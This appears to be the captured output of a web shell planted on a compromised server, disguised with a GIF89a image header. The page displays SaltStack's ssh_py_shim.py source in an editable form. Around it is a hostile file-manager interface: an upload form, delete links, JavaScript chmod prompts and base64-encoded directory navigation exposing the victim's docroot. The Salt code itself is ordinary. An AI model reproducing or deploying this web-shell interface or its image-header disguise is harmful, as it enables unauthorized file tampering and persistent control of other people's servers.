GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>ssh_py_shim.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA%3D%3D&f=c3NoX3B5X3NoaW0ucHk%3D"><input name="f" value="ssh_py_shim.py"><textarea name="t"># pylint: disable=resource-leakage
&quot;&quot;&quot;
This is a shim that handles checking and updating salt thin and
then invoking thin.

This is not intended to be instantiated as a module, rather it is a
helper script used by salt.client.ssh.Single.  It is here, in a
separate file, for convenience of development.
&quot;&quot;&quot;
from __future__ import absolute_import, print_function

import hashlib
import os
import shutil
import stat
import subprocess
import sys
import tarfile
import time

THIN_ARCHIVE = &quot;salt-thin.tgz&quot;
EXT_ARCHIVE = &quot;salt-ext_mods.tgz&quot;

# Keep these in sync with salt/defaults/exitcodes.py
EX_THIN_PYTHON_INVALID = 10
EX_THIN_DEPLOY = 11
EX_THIN_CHECKSUM = 12
EX_MOD_DEPLOY = 13
EX_SCP_NOT_FOUND = 14
EX_CANTCREAT = 73


class OptionsContainer:
    &quot;&quot;&quot;
    An empty class for holding instance attribute values.
    &quot;&quot;&quot;


OPTIONS = OptionsContainer()
ARGS = None
# The below line is where OPTIONS can be redefined with internal options
# (rather than cli arguments) when the shim is bundled by
# client.ssh.Single._cmd_str()
#%%OPTS


def get_system_encoding():
    &quot;&quot;&quot;
    Get system encoding. Most of this code is a part of salt/__init__.py
    &quot;&quot;&quot;
    # This is the most trustworthy source of the system encoding, though, if
    # salt is being imported after being daemonized, this information is lost
    # and reset to None
    encoding = None

    if not sys.platform.startswith(&quot;win&quot;) and sys.stdin is not None:
        # On linux we can rely on sys.stdin for the encoding since it
        # most commonly matches the filesystem encoding. This however
        # does not apply to windows
        encoding = sys.stdin.encoding

    if not encoding:
        # If the system is properly configured this should return a valid
        # encoding. MS Windows has problems with this and reports the wrong
        # encoding
        import locale

        try:
            encoding = locale.getencoding()
        except AttributeError:
            # Python &lt; 3.11
            encoding = locale.getpreferredencoding(do_setlocale=True)

        # This is now garbage collectable
        del locale

        if not encoding:
            # This is most likely ascii which is not the best but we were
            # unable to find a better encoding. If this fails, we fall all
            # the way back to ascii
            encoding = sys.getdefaultencoding()
        if not encoding:
            if sys.platform.startswith(&quot;darwin&quot;):
                # Mac OS X uses UTF-8
                encoding = &quot;utf-8&quot;
            elif sys.platform.startswith(&quot;win&quot;):
                # Windows uses a configurable encoding; on Windows, Python uses the name &quot;mbcs&quot;
                # to refer to whatever the currently configured encoding is.
                encoding = &quot;mbcs&quot;
            else:
                # On linux default to ascii as a last resort
                encoding = &quot;ascii&quot;
    return encoding


def is_windows():
    &quot;&quot;&quot;
    Simple function to return if a host is Windows or not
    &quot;&quot;&quot;
    return sys.platform.startswith(&quot;win&quot;)


def need_deployment():
    &quot;&quot;&quot;
    Salt thin needs to be deployed - prep the target directory and emit the
    delimiter and exit code that signals a required deployment.
    &quot;&quot;&quot;
    if os.path.exists(OPTIONS.saltdir):
        shutil.rmtree(OPTIONS.saltdir)
    old_umask = os.umask(0o077)  # pylint: disable=blacklisted-function
    try:
        os.makedirs(OPTIONS.saltdir)
    finally:
        os.umask(old_umask)  # pylint: disable=blacklisted-function
    # Verify perms on saltdir
    if not is_windows():
        euid = os.geteuid()
        dstat = os.stat(OPTIONS.saltdir)
        if dstat.st_uid != euid:
            # Attack detected, try again
            need_deployment()
        # AIX has non-POSIX bit 0o240700, isolate to 0o40700
        if dstat.st_mode &amp; ~65536 != 16832:
            # Attack detected
            need_deployment()
        # If SUDOing then also give the super user group write permissions
        sudo_gid = os.environ.get(&quot;SUDO_GID&quot;)
        if sudo_gid:
            try:
                os.chown(OPTIONS.saltdir, -1, int(sudo_gid))
                stt = os.stat(OPTIONS.saltdir)
                os.chmod(
                    OPTIONS.saltdir,
                    stt.st_mode | stat.S_IWGRP | stat.S_IRGRP | stat.S_IXGRP,
                )
            except OSError:
                sys.stdout.write(
                    &quot;\n\nUnable to set permissions on thin directory.\nIf sudo_user is&quot;
                    &quot; set and is not root, be certain the user is in the same group\nas&quot;
                    &quot; the login user&quot;
                )
                sys.exit(1)

    # Delimiter emitted on stdout *only* to indicate shim message to master.
    sys.stdout.write(&quot;{0}\ndeploy\n&quot;.format(OPTIONS.delimiter))
    sys.exit(EX_THIN_DEPLOY)


# Adapted from salt.utils.hashutils.get_hash()
def get_hash(path, form=&quot;sha1&quot;, chunk_size=4096):
    &quot;&quot;&quot;
    Generate a hash digest string for a file.
    &quot;&quot;&quot;
    try:
        hash_type = getattr(hashlib, form)
    except AttributeError:
        raise ValueError(&quot;Invalid hash type: {0}&quot;.format(form))
    with open(path, &quot;rb&quot;) as ifile:
        hash_obj = hash_type()
        # read the file in in chunks, not the entire file
        for chunk in iter(lambda: ifile.read(chunk_size), b&quot;&quot;):
            hash_obj.update(chunk)
        return hash_obj.hexdigest()


def unpack_thin(thin_path):
    &quot;&quot;&quot;
    Unpack the Salt thin archive.
    &quot;&quot;&quot;
    tfile = tarfile.TarFile.gzopen(thin_path)
    old_umask = os.umask(0o077)  # pylint: disable=blacklisted-function
    tfile.extractall(path=OPTIONS.saltdir)  # nosec
    tfile.close()
    os.umask(old_umask)  # pylint: disable=blacklisted-function
    try:
        os.unlink(thin_path)
    except OSError:
        pass
    reset_time(OPTIONS.saltdir)


def need_ext():
    &quot;&quot;&quot;
    Signal that external modules need to be deployed.
    &quot;&quot;&quot;
    sys.stdout.write(&quot;{0}\next_mods\n&quot;.format(OPTIONS.delimiter))
    sys.exit(EX_MOD_DEPLOY)


def unpack_ext(ext_path):
    &quot;&quot;&quot;
    Unpack the external modules.
    &quot;&quot;&quot;
    modcache = os.path.join(
        OPTIONS.saltdir, &quot;running_data&quot;, &quot;var&quot;, &quot;cache&quot;, &quot;salt&quot;, &quot;minion&quot;, &quot;extmods&quot;
    )
    tfile = tarfile.TarFile.gzopen(ext_path)
    old_umask = os.umask(0o077)  # pylint: disable=blacklisted-function
    tfile.extractall(path=modcache)  # nosec
    tfile.close()
    os.umask(old_umask)  # pylint: disable=blacklisted-function
    os.unlink(ext_path)
    ver_path = os.path.join(modcache, &quot;ext_version&quot;)
    ver_dst = os.path.join(OPTIONS.saltdir, &quot;ext_version&quot;)
    shutil.move(ver_path, ver_dst)


def reset_time(path=&quot;.&quot;, amt=None):
    &quot;&quot;&quot;
    Reset atime/mtime on all files to prevent systemd swipes only part of the files in the /tmp.
    &quot;&quot;&quot;
    if not amt:
        amt = int(time.time())
    for fname in os.listdir(path):
        fname = os.path.join(path, fname)
        if os.path.isdir(fname):
            reset_time(fname, amt=amt)
        os.utime(
            fname,
            (
                amt,
                amt,
            ),
        )


def get_executable():
    &quot;&quot;&quot;
    Find executable which matches supported python version in the thin
    &quot;&quot;&quot;
    pymap = {}
    with open(
        os.path.join(OPTIONS.saltdir, &quot;supported-versions&quot;), encoding=&quot;utf-8&quot;
    ) as _fp:
        for line in _fp.readlines():
            ns, v_maj, v_min = line.strip().split(&quot;:&quot;)
            pymap[ns] = (int(v_maj), int(v_min))

    pycmds = (
        sys.executable,
        &quot;python3&quot;,
        &quot;python27&quot;,
        &quot;python2.7&quot;,
        &quot;python26&quot;,
        &quot;python2.6&quot;,
        &quot;python2&quot;,
        &quot;python&quot;,
    )
    for py_cmd in pycmds:
        stdout, _ = subprocess.Popen(
            [
                py_cmd,
                &quot;-c&quot;,
                &quot;import sys; sys.stdout.write('%s:%s' % (sys.version_info[0], sys.version_info[1]))&quot;,
            ],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        ).communicate()
        if sys.version_info[0] == 2 and sys.version_info[1] &lt; 7:
            stdout = stdout.decode(get_system_encoding(), &quot;replace&quot;).strip()
        else:
            stdout = stdout.decode(
                encoding=get_system_encoding(), errors=&quot;replace&quot;
            ).strip()
        if not stdout:
            continue
        c_vn = tuple([int(x) for x in stdout.split(&quot;:&quot;)])
        for ns in pymap:
            if (
                c_vn[0] == pymap[ns][0]
                and c_vn &gt;= pymap[ns]
                and os.path.exists(os.path.join(OPTIONS.saltdir, ns))
            ):
                return py_cmd

    sys.exit(EX_THIN_PYTHON_INVALID)


def main(argv):  # pylint: disable=W0613
    &quot;&quot;&quot;
    Main program body
    &quot;&quot;&quot;
    thin_path = os.path.join(OPTIONS.saltdir, THIN_ARCHIVE)
    if os.path.isfile(thin_path):
        if OPTIONS.checksum != get_hash(thin_path, OPTIONS.hashfunc):
            need_deployment()
        unpack_thin(thin_path)
        # Salt thin now is available to use
    else:
        if not sys.platform.startswith(&quot;win&quot;):
            scpstat = subprocess.Popen([&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;command -v scp&quot;]).wait()
            if scpstat != 0:
                sys.exit(EX_SCP_NOT_FOUND)

        if os.path.exists(OPTIONS.saltdir) and not os.path.isdir(OPTIONS.saltdir):
            sys.stderr.write(
                'ERROR: salt path &quot;{0}&quot; exists but is not a directory\n'.format(
                    OPTIONS.saltdir
                )
            )
            sys.exit(EX_CANTCREAT)

        if not os.path.exists(OPTIONS.saltdir):
            need_deployment()

        code_checksum_path = os.path.normpath(
            os.path.join(OPTIONS.saltdir, &quot;code-checksum&quot;)
        )
        if not os.path.exists(code_checksum_path) or not os.path.isfile(
            code_checksum_path
        ):
            sys.stderr.write(
                &quot;WARNING: Unable to locate current code checksum: {0}.\n&quot;.format(
                    code_checksum_path
                )
            )
            need_deployment()
        with open(code_checksum_path, &quot;r&quot;, encoding=&quot;utf-8&quot;) as vpo:
            cur_code_cs = vpo.readline().strip()
        if cur_code_cs != OPTIONS.code_checksum:
            sys.stderr.write(
                &quot;WARNING: current code checksum {0} is different to {1}.\n&quot;.format(
                    cur_code_cs, OPTIONS.code_checksum
                )
            )
            need_deployment()
        # Salt thin exists and is up-to-date - fall through and use it

    salt_call_path = os.path.join(OPTIONS.saltdir, &quot;salt-call&quot;)
    if not os.path.isfile(salt_call_path):
        sys.stderr.write('ERROR: thin is missing &quot;{0}&quot;\n'.format(salt_call_path))
        need_deployment()

    with open(os.path.join(OPTIONS.saltdir, &quot;minion&quot;), &quot;w&quot;, encoding=&quot;utf-8&quot;) as config:
        config.write(OPTIONS.config + &quot;\n&quot;)
    if OPTIONS.ext_mods:
        ext_path = os.path.join(OPTIONS.saltdir, EXT_ARCHIVE)
        if os.path.exists(ext_path):
            unpack_ext(ext_path)
        else:
            version_path = os.path.join(OPTIONS.saltdir, &quot;ext_version&quot;)
            if not os.path.exists(version_path) or not os.path.isfile(version_path):
                need_ext()
            with open(version_path, &quot;r&quot;, encoding=&quot;utf-8&quot;) as vpo:
                cur_version = vpo.readline().strip()
            if cur_version != OPTIONS.ext_mods:
                need_ext()
    # Fix parameter passing issue
    if len(ARGS) == 1:
        argv_prepared = ARGS[0].split()
    else:
        argv_prepared = ARGS

    salt_argv = [
        get_executable(),
        salt_call_path,
        &quot;--retcode-passthrough&quot;,
        &quot;--local&quot;,
        &quot;--metadata&quot;,
        &quot;--out&quot;,
        &quot;json&quot;,
        &quot;-l&quot;,
        &quot;quiet&quot;,
        &quot;-c&quot;,
        OPTIONS.saltdir,
    ]

    try:
        if argv_prepared[-1].startswith(&quot;--no-parse=&quot;):
            salt_argv.append(argv_prepared.pop(-1))
    except (IndexError, TypeError):
        pass

    salt_argv.append(&quot;--&quot;)
    salt_argv.extend(argv_prepared)

    sys.stderr.write(&quot;SALT_ARGV: {0}\n&quot;.format(salt_argv))

    # Only emit the delimiter on *both* stdout and stderr when completely successful.
    # Yes, the flush() is necessary.
    sys.stdout.write(OPTIONS.delimiter + &quot;\n&quot;)
    sys.stdout.flush()
    if not OPTIONS.tty:
        sys.stderr.write(OPTIONS.delimiter + &quot;\n&quot;)
        sys.stderr.flush()
    if OPTIONS.cmd_umask is not None:
        old_umask = os.umask(OPTIONS.cmd_umask)  # pylint: disable=blacklisted-function
    if OPTIONS.tty:
        proc = subprocess.Popen(
            salt_argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )
        # Returns bytes instead of string on python 3
        stdout, _ = proc.communicate()
        sys.stdout.write(
            stdout.decode(encoding=get_system_encoding(), errors=&quot;replace&quot;)
        )
        sys.stdout.flush()
        retcode = proc.returncode
        if OPTIONS.wipe:
            shutil.rmtree(OPTIONS.saltdir)
    elif OPTIONS.wipe:
        retcode = subprocess.call(salt_argv)
        shutil.rmtree(OPTIONS.saltdir)
    else:
        retcode = subprocess.call(salt_argv)
    if OPTIONS.cmd_umask is not None:
        os.umask(old_umask)  # pylint: disable=blacklisted-function
    return retcode


if __name__ == &quot;__main__&quot;:
    sys.exit(main(sys.argv))
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/salt/client/ssh<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>70470</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaC9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&x=Y2xpZW50LnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=Y2xpZW50LnB5"/>client.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=Y2xpZW50LnB5&c=`+btoa(c):0" value="0644"></td><td>8442</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&x=c2hlbGwucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c2hlbGwucHk="/>shell.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c2hlbGwucHk=&c=`+btoa(c):0" value="0644"></td><td>16537</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&x=c3NoX3B5X3NoaW0ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c3NoX3B5X3NoaW0ucHk="/>ssh_py_shim.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c3NoX3B5X3NoaW0ucHk=&c=`+btoa(c):0" value="0644"></td><td>13273</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&x=c3RhdGUucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c3RhdGUucHk="/>state.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=c3RhdGUucHk=&c=`+btoa(c):0" value="0644"></td><td>10884</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaC93cmFwcGVy"/>wrapper</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3NhbHQvY2xpZW50L3NzaA==&f=d3JhcHBlcg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>